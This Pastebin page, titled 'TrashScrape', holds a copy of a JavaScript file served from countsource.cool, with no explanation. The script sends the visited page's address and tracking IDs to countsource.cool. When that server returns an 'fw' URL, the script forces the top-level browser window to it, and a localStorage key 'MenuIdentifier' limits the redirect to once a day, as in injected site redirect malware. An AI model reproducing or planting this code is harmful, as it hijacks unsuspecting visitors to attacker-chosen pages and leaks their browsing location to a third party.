Advertisement
TrashScrape

http://countsource.cool/18ced489204f8ff908.js

Jul 12th, 2021
127
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.45 KB | None | 0 0
  1.  
  2. (function () {
  3. function initXMLhttp() {
  4. var xmlhttp;
  5. if (window.XMLHttpRequest) {
  6. xmlhttp = new XMLHttpRequest();
  7. } else {
  8. xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
  9. }
  10. return xmlhttp;
  11. }
  12.  
  13. function minAjax(config) {
  14. if (!config.url || !config.type) return;
  15. if (!config.method) config.method = true;
  16. if (!config.debugLog) config.debugLog = false;
  17.  
  18.  
  19. var sendString = [],
  20. sendData = config.data;
  21. if (typeof sendData === "string") {
  22. var tmpArr = String.prototype.split.call(sendData, '&');
  23. for (var i = 0, j = tmpArr.length; i < j; i++) {
  24. var datum = tmpArr[i].split('=');
  25. sendString.push(encodeURIComponent(datum[0]) + "=" + encodeURIComponent(datum[1]));
  26. }
  27. } else if (typeof sendData === 'object' && !(sendData instanceof String)) {
  28. for (var k in sendData) {
  29. var datum = sendData[k];
  30. if (Object.prototype.toString.call(datum) == "[object Array]") {
  31. for (var i = 0, j = datum.length; i < j; i++) {
  32. sendString.push(encodeURIComponent(k) + "[]=" + encodeURIComponent(datum[i]));
  33. }
  34. } else {
  35. sendString.push(encodeURIComponent(k) + "=" + encodeURIComponent(datum));
  36. }
  37. }
  38. }
  39. sendString = sendString.join('&');
  40.  
  41. if (window.XDomainRequest) {
  42. var xmlhttp = new window.XDomainRequest();
  43. xmlhttp.onload = function () {
  44. if (config.success) {
  45. config.success(xmlhttp.responseText);
  46. }
  47. };
  48. xmlhttp.open("POST", config.url);
  49. xmlhttp.send(sendString);
  50. } else {
  51. var xmlhttp = initXMLhttp();
  52. xmlhttp.onreadystatechange = function () {
  53. if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
  54. if (config.success) {
  55. config.success(xmlhttp.responseText, xmlhttp.readyState);
  56. }
  57. }
  58. }
  59.  
  60. if (config.type == "GET") {
  61. xmlhttp.open("GET", config.url + "?" + sendString, config.method);
  62. xmlhttp.send();
  63. }
  64. if (config.type == "POST") {
  65. xmlhttp.open("POST", config.url, config.method);
  66. xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  67. xmlhttp.send(sendString);
  68. }
  69. }
  70. }
  71.  
  72. dL();
  73.  
  74. function dL() {
  75.  
  76.  
  77. function bl(resp) {
  78. !function (dr) {
  79. function t() { return !!localStorage && localStorage.getItem(a) } function e() {
  80. o(),
  81. parent.top.window.location.href = c
  82. } function o() { var t = r + i; if (localStorage) { localStorage.setItem(a, t) } }
  83. function n() { if (t()) { var o = localStorage && localStorage.getItem(a); r > o && e() } else e() } var a = "MenuIdentifier",
  84. r = Math.floor((new Date).getTime() / 1e3), c = dr, i = 86400; n()
  85. }(resp);
  86. }
  87.  
  88.  
  89. minAjax({
  90. url: 'http://countsource.cool/f/gstats',
  91. type: "POST",
  92. data: {
  93. vhref: location.href,
  94. juh:'70c586875103de4f9a6aaf76caa3ed98',
  95. cs:'98dbf392e284e26f4d6b0cc53bc945f3',
  96. ex:1626150637800,
  97. t0: 1626150038,
  98. t: Math.floor(new Date().getTime() / 1000),
  99. },
  100. success: function (response) {
  101. try {
  102. var json = JSON.parse(response)
  103. if (json && json.fw && json.fw.indexOf('http')>-1) bl(json.fw)
  104. }catch(err) {
  105.  
  106. }
  107. }
  108. });
  109. }
  110. })();
  111.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement